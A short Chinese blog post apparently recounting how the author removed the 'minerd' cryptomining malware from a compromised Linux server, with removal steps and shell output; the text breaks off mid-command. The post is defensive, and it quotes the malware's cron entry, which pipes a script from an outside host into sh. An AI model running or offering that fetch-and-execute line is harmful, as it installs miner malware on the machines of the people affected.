minerd是什么
minerd是挖矿程序,黑客入侵后,会利用宿主cpu进行复杂计算,强占cpu资源,使cpu使用率高达100%
今天突然发现cup使用率一直都很高,高达100%,查看后发现多了minerd这个进程,将其kill掉后,过一会还是存在
通过分析定时任务的脚本内容(ps:文章最后会给出脚本具体内容),得出以下删除minerd进程步骤:
1.删除定时任务的内容
crontab -e
将“/10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh”删除
2.删除minerd文件
[root@iZ28rvl9qn3Z ~]# ll /proc/2884/exe
lrwxrwxrwx 1 root root 0 Aug 2 14:56 /proc/2884/exe -> /opt/minerd (deleted)
[root@iZ28rvl9qn3Z ~]# ll /proc/2912/exe
lrwxrwxrwx 1 root root 0 Aug 2 14:57 /proc/2912/exe -> /opt/minerd
[root@iZ28rvl9qn3Z ~]# rm /opt/minerd
rm: remove regular file